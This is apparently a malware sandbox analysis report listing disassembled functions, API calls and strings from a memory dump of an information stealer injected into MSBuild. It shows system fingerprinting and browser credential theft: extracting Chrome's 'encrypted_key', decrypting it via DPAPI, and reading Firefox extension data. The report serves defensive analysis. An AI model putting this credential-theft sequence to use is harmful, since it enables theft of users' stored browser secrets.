Source File: 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2226316788.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$CurrentProfile_memsetlstrcpymallocstrncpy
String ID: Unknown
API String ID: 2781187439-1654365787
Opcode ID: a8f65e7d9cec54b388c0f37e87b197d2f03a81ccec6cadffe457aad5dbb4e0d3
Instruction ID: 9adf647b1b32870da9e3491b8df7208255a96cb22296bfccf9f875d0222035d8
Opcode Fuzzy Hash: a8f65e7d9cec54b388c0f37e87b197d2f03a81ccec6cadffe457aad5dbb4e0d3
Instruction Fuzzy Hash: EA113671A0021CABDB11EB65DC85BDD73B8AB08704F4004AAB645F7191DA789EC98B5C

Function 004110EE Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,Keyboard Languages: ,00436918,Display Resolution: ,004368FC,00000000,User Name: ,004368EC,00000000,Computer Name: ,004368D8,AV: ,004368CC,Install Date: ), ref: 00411106
HeapAlloc.KERNEL32(00000000), ref: 0041110D
GlobalMemoryStatusEx.KERNEL32(?,?,00000040), ref: 00411129
wsprintfA.USER32 ref: 0041114F

Strings

%d MB, xrefs: 00411149

Memory Dump Source

Source File: 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2226316788.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocGlobalMemoryProcessStatuswsprintf
String ID: %d MB
API String ID: 3644086013-2651807785
Opcode ID: e9128c22f988c2f38e48ecffa092aa2b7f4cb2fe2a9676a632e9150ebbfc8512
Instruction ID: e424564083aa9ef612a57656847a91748b037a24208db361ee0b36f9d1d93f5f
Opcode Fuzzy Hash: e9128c22f988c2f38e48ecffa092aa2b7f4cb2fe2a9676a632e9150ebbfc8512
Instruction Fuzzy Hash: F401AEB1E00318BBEB04DFB4DC45AEEB7B8EF08705F44006AF605D7190DA759D818764

Function 0041BDB2 Relevance: 7.6, APIs: 5, Instructions: 99fileCOMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(?,00000000,00000000,00000001,759774F0,?,0041CD7F,?,0041CE0D,00000000,06400000,00000003,00000000,0041770B,.exe,00436C64), ref: 0041BDFF
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,759774F0,?,0041CD7F,?,0041CE0D,00000000,06400000,00000003,00000000), ref: 0041BE37

Memory Dump Source

Source File: 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2226316788.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: File$CreatePointer
String ID:
API String ID: 2024441833-0
Opcode ID: c2a5f8e1d00489231e5594f9a747e25d59c8a13e659a0516d0e6ae57d101117a
Instruction ID: 8330cc3da75d2d2f7eceea45b1f5dc24fae8a8e06cff23be40390e957423a823
Opcode Fuzzy Hash: c2a5f8e1d00489231e5594f9a747e25d59c8a13e659a0516d0e6ae57d101117a
Instruction Fuzzy Hash: A43165B0504B059FDB319F25C8847E77AE8EB14359F108A2FE39686781D33898C48B99

Function 6CB6C930 Relevance: 7.6, APIs: 5, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 6CB6C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6CB6C969
GetSystemInfo.KERNEL32(?), ref: 6CB6C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6CB6C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6CB6C9E2

Memory Dump Source

Source File: 00000001.00000002.2257496235.000000006CB51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB50000, based on PE: true

Associated: 00000001.00000002.2257464628.000000006CB50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2257843409.000000006CBCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2257991076.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2258061368.000000006CBE2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cb50000_MSBuild.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 6905bb2c521298f172f61d19d3d89d2bef8ab498e8b6159dd49f181e20c69e76
Instruction ID: 4dc9039aa9ecf6fbe89bbf2710d9c0d707a6016d545928f19082378b3febccc6
Opcode Fuzzy Hash: 6905bb2c521298f172f61d19d3d89d2bef8ab498e8b6159dd49f181e20c69e76
Instruction Fuzzy Hash: 9221D7317456586BDF05AE75CC94BAE73B9EB46704F60052AF907A7EC0DB70780087A1

Function 00404AB6 Relevance: 7.6, APIs: 5, Instructions: 50stringnetworkCOMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AE8
??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AEE
??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AF4
lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00404B06
InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404B0E

Memory Dump Source

Source File: 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2226316788.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID:
API String ID: 1274457161-0
Opcode ID: 98310aa1f434478e7fb8539daea0c8874a8af54bde3e2f4e3fe51e91d8b2aa84
Instruction ID: 606110043d28a64a3cf3047e57e5fece759b363c0f9d5b5b09730ac45ad85936
Opcode Fuzzy Hash: 98310aa1f434478e7fb8539daea0c8874a8af54bde3e2f4e3fe51e91d8b2aa84
Instruction Fuzzy Hash: 03015B32D00218ABCF049BA9DC45ADEBFB8AF55330F10821AF925F72E0DB745A018B94

Function 00410F26 Relevance: 7.5, APIs: 5, Instructions: 35registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000,?,?,?,00414292,Processor: ,[Hardware],00436958,00000000,TimeZone: ,00436948,00000000,Local Time: ,00436934), ref: 00410F3A
HeapAlloc.KERNEL32(00000000,?,?,?,00414292,Processor: ,[Hardware],00436958,00000000,TimeZone: ,00436948,00000000,Local Time: ,00436934,Keyboard Languages: ,00436918), ref: 00410F41
RegOpenKeyExA.KERNEL32(80000002,00000000,00020119,00436890,?,?,?,00414292,Processor: ,[Hardware],00436958,00000000,TimeZone: ,00436948,00000000,Local Time: ), ref: 00410F5F
RegQueryValueExA.KERNEL32(00436890,00000000,00000000,00000000,000000FF,?,?,?,00414292,Processor: ,[Hardware],00436958,00000000,TimeZone: ,00436948,00000000), ref: 00410F7B
RegCloseKey.ADVAPI32(00436890,?,?,?,00414292,Processor: ,[Hardware],00436958,00000000,TimeZone: ,00436948,00000000,Local Time: ,00436934,Keyboard Languages: ,00436918), ref: 00410F84

Memory Dump Source

Source File: 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2226316788.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID:
API String ID: 3466090806-0
Opcode ID: 267a369b0f9252e087d037b2a4430d55cc5b2cc9540841a28167b2b4da7fd567
Instruction ID: 9d2ba58619f1d31ec1eed97cb1b3f411898d7f1aad353569fe744808fca98e41
Opcode Fuzzy Hash: 267a369b0f9252e087d037b2a4430d55cc5b2cc9540841a28167b2b4da7fd567
Instruction Fuzzy Hash: 72F03075640304FFEF248B90DC0EFAA7A7EEB44B06F141155F701A51A0D7B29B509B20

Function 004083DE Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 87libraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(0065EF20,0000FFFF,?,?,?,?,?,?,?,?,?,?,0040DADF), ref: 004083F7

Part of subcall function 004104BC: lstrcpyA.KERNEL32(00000000,00000000,?,00417207,004366BA,?,?,?,?,0041871B), ref: 004104E2

Part of subcall function 0041051E: lstrlenA.KERNEL32(?,?,00417300,004366BE,004366BB,?,?,?,?,0041871B), ref: 00410524
Part of subcall function 0041051E: lstrcpyA.KERNEL32(00000000,00000000,?,00417300,004366BE,004366BB,?,?,?,?,0041871B), ref: 00410556

Part of subcall function 004105DE: lstrlenA.KERNEL32(?,00000000,?,?,?,?,00417228,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 004105F2
Part of subcall function 004105DE: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,00417228,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 0041061A
Part of subcall function 004105DE: lstrcatA.KERNEL32(?,00000000,?,?,?,?,00417228,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 00410625

Part of subcall function 0041059C: lstrcpyA.KERNEL32(00000000,?,0000000C,00417775,004366D6), ref: 004105CA
Part of subcall function 0041059C: lstrcatA.KERNEL32(?,?), ref: 004105D4

Part of subcall function 00410562: lstrcpyA.KERNEL32(00000000,?,00000000,00417246,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 00410592

SetEnvironmentVariableA.KERNEL32(?,00437194,0065EF20,0043674E,?,?,?,?,?,?,?,?,0040DADF), ref: 0040844C
LoadLibraryA.KERNEL32(?,?,?,?,?,?,?,?,0040DADF), ref: 00408460

Strings

e, xrefs: 004083EB

Memory Dump Source

Source File: 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2226316788.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: e
API String ID: 2929475105-726562168
Opcode ID: 6f235fc267ff3b3de8f7a4bef7c54b4f5737f4398d48d1da619f8f41ce8de796
Instruction ID: 971f7df55b3f2cb1637261c8732b296e969311353f2cdeab8d65dad1843968ae
Opcode Fuzzy Hash: 6f235fc267ff3b3de8f7a4bef7c54b4f5737f4398d48d1da619f8f41ce8de796
Instruction Fuzzy Hash: 9F316171900714ABCF26EF29ED0246D7BB6AF44706F10613BE440B32B1DB7A1A41CF89

Function 00416F52 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 55stringCOMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 00416F59
lstrlenA.KERNEL32(?,0000001C), ref: 00416F64
StrCmpCA.SHLWAPI(?,ERROR), ref: 00416FE8

Strings

ERROR, xrefs: 00416FE0

Memory Dump Source

Source File: 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2226316788.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: H_prolog3_catchlstrlen
String ID: ERROR
API String ID: 591506033-2861137601
Opcode ID: d9d78c61d8d29c3c95c0ae36bda477344383ac38314295c27f483c80f171f672
Instruction ID: 8834f6a6963786612a12ac118786572eda76d1f60cfdab7b7a16af0db0fb4f11
Opcode Fuzzy Hash: d9d78c61d8d29c3c95c0ae36bda477344383ac38314295c27f483c80f171f672
Instruction Fuzzy Hash: 3F117F71A0060A9FCB50FF65E9425DDBB71BF04314B50413AE818E3591DB79EAE58BC8

Function 0041221F Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,*>A,00000000,?), ref: 00412241
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 0041225C
CloseHandle.KERNEL32(00000000), ref: 00412263

Strings

*>A, xrefs: 00412232, 00412237

Memory Dump Source

Source File: 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2226316788.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID: *>A
API String ID: 3183270410-2324000863
Opcode ID: 0af9f2c264d25b6490a429b164a009b7d6240c1555b3ca16007ce260d50d1719
Instruction ID: e83ee73a11f8c4b419624c0b97b256bc47d47253a66d85432d4a601052c41585
Opcode Fuzzy Hash: 0af9f2c264d25b6490a429b164a009b7d6240c1555b3ca16007ce260d50d1719
Instruction Fuzzy Hash: 5EF05475600208ABDB14EB69DC45FEE77BC9B44B05F00006AF645D7290DEB4DAC58B99

Function 0040B307 Relevance: 6.2, APIs: 4, Instructions: 196filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 004104BC: lstrcpyA.KERNEL32(00000000,00000000,?,00417207,004366BA,?,?,?,?,0041871B), ref: 004104E2

Part of subcall function 00411C1F: GetSystemTime.KERNEL32(?,004366E2,?), ref: 00411C4E

Part of subcall function 004105DE: lstrlenA.KERNEL32(?,00000000,?,?,?,?,00417228,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 004105F2
Part of subcall function 004105DE: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,00417228,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 0041061A
Part of subcall function 004105DE: lstrcatA.KERNEL32(?,00000000,?,?,?,?,00417228,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 00410625

Part of subcall function 0041059C: lstrcpyA.KERNEL32(00000000,?,0000000C,00417775,004366D6), ref: 004105CA
Part of subcall function 0041059C: lstrcatA.KERNEL32(?,?), ref: 004105D4

Part of subcall function 00410562: lstrcpyA.KERNEL32(00000000,?,00000000,00417246,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 00410592

CopyFileA.KERNEL32(?,?,00000001), ref: 0040B3AC
lstrlenA.KERNEL32(?), ref: 0040B4FE
lstrlenA.KERNEL32(?), ref: 0040B519
DeleteFileA.KERNEL32(?), ref: 0040B56B

Memory Dump Source

Source File: 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2226316788.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 38dd116929dd2f53acbb98a138f0bd9bcf65fae18724f488c39594e073ddec71
Instruction ID: 83e51ed13b6b7b0808c67653aa2717b405fc8e3f61057255e72c04a4a6184a74
Opcode Fuzzy Hash: 38dd116929dd2f53acbb98a138f0bd9bcf65fae18724f488c39594e073ddec71
Instruction Fuzzy Hash: 95714E72A00119ABCF01FFA5ED469CD7B75EF04309F105036F500B71A2DBB9AE898B98

Function 0040D3E3 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 125stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004104EE: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,004177AD), ref: 0041050D

Part of subcall function 00407FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E72B,?,?,?), ref: 00407FC7
Part of subcall function 00407FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E72B,?,?,?), ref: 00407FDE
Part of subcall function 00407FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E72B,?,?,?), ref: 00407FF5
Part of subcall function 00407FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E72B,?,?,?), ref: 0040800C
Part of subcall function 00407FAC: CloseHandle.KERNEL32(?,?,?,?,?,0040E72B,?,?,?), ref: 00408034

Part of subcall function 00411DF4: LocalAlloc.KERNEL32(00000040,00000001,?,?,?,00416973,?), ref: 00411E0C

Part of subcall function 004104BC: lstrcpyA.KERNEL32(00000000,00000000,?,00417207,004366BA,?,?,?,?,0041871B), ref: 004104E2

Part of subcall function 004105DE: lstrlenA.KERNEL32(?,00000000,?,?,?,?,00417228,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 004105F2
Part of subcall function 004105DE: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,00417228,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 0041061A
Part of subcall function 004105DE: lstrcatA.KERNEL32(?,00000000,?,?,?,?,00417228,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 00410625

Part of subcall function 00410562: lstrcpyA.KERNEL32(00000000,?,00000000,00417246,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 00410592

Part of subcall function 0041059C: lstrcpyA.KERNEL32(00000000,?,0000000C,00417775,004366D6), ref: 004105CA
Part of subcall function 0041059C: lstrcatA.KERNEL32(?,?), ref: 004105D4

StrStrA.SHLWAPI(00000000,?,00437530,0043687B), ref: 0040D474
lstrlenA.KERNEL32(?), ref: 0040D487

Strings

^userContextId=4294967295, xrefs: 0040D4AC
moz-extension+++, xrefs: 0040D4B2

Memory Dump Source

Source File: 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2226316788.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$File$AllocLocallstrcatlstrlen$CloseCreateHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 161838763-3310892237
Opcode ID: 0d56236dc5ec72776bedc56a2346bdce8dd0cd480c86d9f07859729ba997bf92
Instruction ID: f585363b1073d73c679416fbfda7f8be5c0209c100797f23621ef1c9dee4fcd8
Opcode Fuzzy Hash: 0d56236dc5ec72776bedc56a2346bdce8dd0cd480c86d9f07859729ba997bf92
Instruction Fuzzy Hash: DE410A72A0011D9BCF11FFA6DE465CD77B4AF04308F51402AFD44B3192DABCAE898B99

Function 0040819F Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 77COMMON

Download Yara Rule

APIs

Part of subcall function 004104BC: lstrcpyA.KERNEL32(00000000,00000000,?,00417207,004366BA,?,?,?,?,0041871B), ref: 004104E2

Part of subcall function 00407FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E72B,?,?,?), ref: 00407FC7
Part of subcall function 00407FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E72B,?,?,?), ref: 00407FDE
Part of subcall function 00407FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E72B,?,?,?), ref: 00407FF5
Part of subcall function 00407FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E72B,?,?,?), ref: 0040800C
Part of subcall function 00407FAC: CloseHandle.KERNEL32(?,?,?,?,?,0040E72B,?,?,?), ref: 00408034

Part of subcall function 00411DF4: LocalAlloc.KERNEL32(00000040,00000001,?,?,?,00416973,?), ref: 00411E0C

StrStrA.SHLWAPI(00000000,"encrypted_key":",?,?,?,?,?,?,0040CC65,?,?), ref: 004081E5

Part of subcall function 00408048: CryptStringToBinaryA.CRYPT32($g@,00000000,00000001,00000000,?,00000000,00000000), ref: 00408060
Part of subcall function 00408048: LocalAlloc.KERNEL32(00000040,?,?,?,00406724,?), ref: 0040806E
Part of subcall function 00408048: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,?,00000000,00000000), ref: 00408084
Part of subcall function 00408048: LocalFree.KERNEL32(?,?,?,00406724,?), ref: 00408093

Part of subcall function 004080A1: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,0040823B), ref: 004080C4
Part of subcall function 004080A1: LocalAlloc.KERNEL32(00000040,0040823B,?,?,0040823B,0040CB6A,?,?,?,?,?,?,?,0040CC65,?,?), ref: 004080D8
Part of subcall function 004080A1: LocalFree.KERNEL32(0040CB6A,?,?,0040823B,0040CB6A,?,?,?,?,?,?,?,0040CC65,?,?), ref: 004080FD

Strings

"encrypted_key":", xrefs: 004081DF
DPAPI, xrefs: 0040821B
, xrefs: 00408241

Memory Dump Source

Source File: 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2226316788.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFile$BinaryFreeString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2311102621-738592651
Opcode ID: 28caf840aee5f742ce8b167ac030a1714afc4280817f72af73d54f83891647aa
